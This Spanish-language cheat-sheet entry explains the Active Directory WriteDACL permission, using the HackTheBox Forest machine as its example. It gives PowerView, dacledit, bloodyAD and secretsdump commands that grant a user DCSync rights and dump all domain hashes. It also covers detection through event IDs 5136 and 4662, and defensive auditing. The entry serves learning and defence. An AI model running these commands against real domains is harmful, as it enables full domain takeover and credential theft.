WriteDACL
Arsenal completo de comandos en la cheatsheetWriteDACL es un permiso de Active Directory (una ACE, Access Control Entry) que concede a un principal el derecho a modificar la DACL (Discretionary Access Control List) del objeto sobre el que recae. Dicho de otro modo: quien tiene WriteDACL sobre un objeto puede reescribir quién tiene qué permisos sobre ese objeto, incluido él mismo.
Por qué es tan potente. Una DACL es la lista de ACEs que define el control de acceso de un objeto. WriteDACL no da por sí solo acceso a los datos, pero da algo mejor: el poder de concederse cualquier otro permiso. Es una primitiva de auto-promoción. Si lo tienes sobre el objeto de dominio, puedes añadirte una ACE que te otorgue los derechos de replicación y ejecutar un DCSync.
El abuso, paso a paso (Forest). En Forest, el grupo Exchange Windows Permissions tenía WriteDACL sobre el objeto de dominio DC=htb,DC=local. Con un usuario en ese grupo, se usa PowerView para añadir la ACE de DCSync:
$SecPassword = ConvertTo-SecureString 'jaime123' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('htb.local\jaime', $SecPassword)
Add-DomainObjectAcl -Credential $Cred -TargetIdentity "DC=htb,DC=local" -PrincipalIdentity jaime -Rights DCSyncDesde Linux, la misma ACE se añade con impacket o bloodyAD:
dacledit.py -action write -rights DCSync -principal jaime -target-dn "DC=htb,DC=local" <domain>/jaime:'jaime123'
bloodyAD -d <domain> -u jaime -p 'jaime123' --host <dc> add dcsync jaime
secretsdump.py <domain>/jaime:'jaime123'@<dc> -just-dc # y volcar el dominio-Rights DCSync traduce a las dos ACEs concretas que componen el ataque: DS-Replication-Get-Changes y DS-Replication-Get-Changes-All. Una vez añadidas, el usuario puede pedir al DC que replique la base de datos del dominio y volcar todos los hashes.
Relación con otros permisos. WriteDACL es uno de los abusos de DACL/ACL que mapea BloodHound, junto a GenericAll, WriteOwner y GenericWrite. La diferencia: GenericAll es control total inmediato; WriteDACL es un paso intermedio (primero te concedes el permiso que quieras, luego lo usas). En Forest llega encadenado desde un abuso de Account Operators.
Cómo detectarlo. Concederte una ACE nueva sobre el objeto de dominio deja un Event ID 5136 (se modificó un objeto del servicio de directorio) cuyo campo de descriptor de seguridad crece con la ACE de replicación; requiere Audit Directory Service Changes y una SACL sobre el objeto de dominio (que, siendo Tier-0, debería tenerla siempre). Es de los cambios más críticos que puede registrar el directorio: cualquier modificación de la DACL del objeto de dominio realizada por algo que no sea una cuenta de administración conocida debe tratarse como incidente. Como el paso siguiente casi siempre es el DCSync, la correlación 5136 sobre el dominio → 4662 con los GUID de replicación cierra la cadena de detección.
Defensa. Auditar quién tiene WriteDACL (y WriteOwner) sobre objetos críticos, muy especialmente sobre el objeto de dominio y la cuenta del DC. El grupo Exchange Windows Permissions es un sospechoso habitual: los despliegues de Exchange le otorgan permisos amplios que conviene revisar y restringir.
Máquinas donde se aplica
- ForestHackTheBox